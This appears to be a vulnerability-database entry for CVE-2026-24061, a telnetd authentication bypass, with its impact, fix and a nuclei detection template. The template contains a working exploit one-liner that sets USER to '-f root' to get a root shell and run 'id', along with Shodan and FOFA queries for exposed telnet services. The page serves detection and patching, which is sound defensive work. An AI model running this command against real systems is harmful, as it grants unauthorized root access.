GNU Inetutils telnetd - Authentication Bypass

Exploited in the wild. Listed by CISA on 2026-01-26; known to be used by ransomware.

criticalseverity

9.8CVSS score

99%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

GNU Inetutils telnetd through 2.7 contains an authentication bypass caused by setting the USER environment variable to \"-f root\", letting remote attackers bypass authentication, exploit requires remote access to telnetd service.

Impact

Remote attackers can bypass authentication, gaining unauthorized root access to the system.

Fix

Update to a version later than 2.7 or the latest available version.

How to confirm it

Positive when: matches in response /uid=[0-9]+\([a-zA-Z0-9_-]+\)\s*gid=[0-9]+\([a-zA-Z0-9_-]+\)/ AND contains in response "Last login" and "Debian"

Run it with nuclei: nuclei -id CVE-2026-24061 -u <target>

The full check

id: CVE-2026-24061

info:
  name: GNU Inetutils telnetd - Authentication Bypass
  author: pussycat0x
  severity: critical
  description: |
    GNU Inetutils telnetd through 2.7 contains an authentication bypass caused by setting the USER environment variable to \"-f root\", letting remote attackers bypass authentication, exploit requires remote access to telnetd service.
  remediation: |
    Update to a version later than 2.7 or the latest available version.
  impact: |
    Remote attackers can bypass authentication, gaining unauthorized root access to the system.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/inetutils/CVE-2026-24061
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-24061
    cwe-id: CWE-88
    epss-score: 0.98984
    epss-percentile: 0.99929
  metadata:
    verified: true
    max-request: 1
    vendor: gnu
    product: inetutils
    shodan-query: port:23 telnet
    fofa-query: port="23" && protocol="telnet"
  tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev,vuln

code:
  - engine:
      - sh
      - bash

    source: |
      (sleep 2; echo "id"; sleep 2) | USER="-f root" telnet -a $Host $Port

    matchers-condition: and
    matchers:
      - type: regex
        part: response
        regex:
          - 'uid=[0-9]+\([a-zA-Z0-9_-]+\)\s*gid=[0-9]+\([a-zA-Z0-9_-]+\)'

      - type: word
        part: response
        words:
          - "Last login"
          - "Debian"
        condition: and

References

https://github.com/vulhub/vulhub/tree/master/inetutils/CVE-2026-24061

Use this check only on systems you are authorised to test. Where the data comes from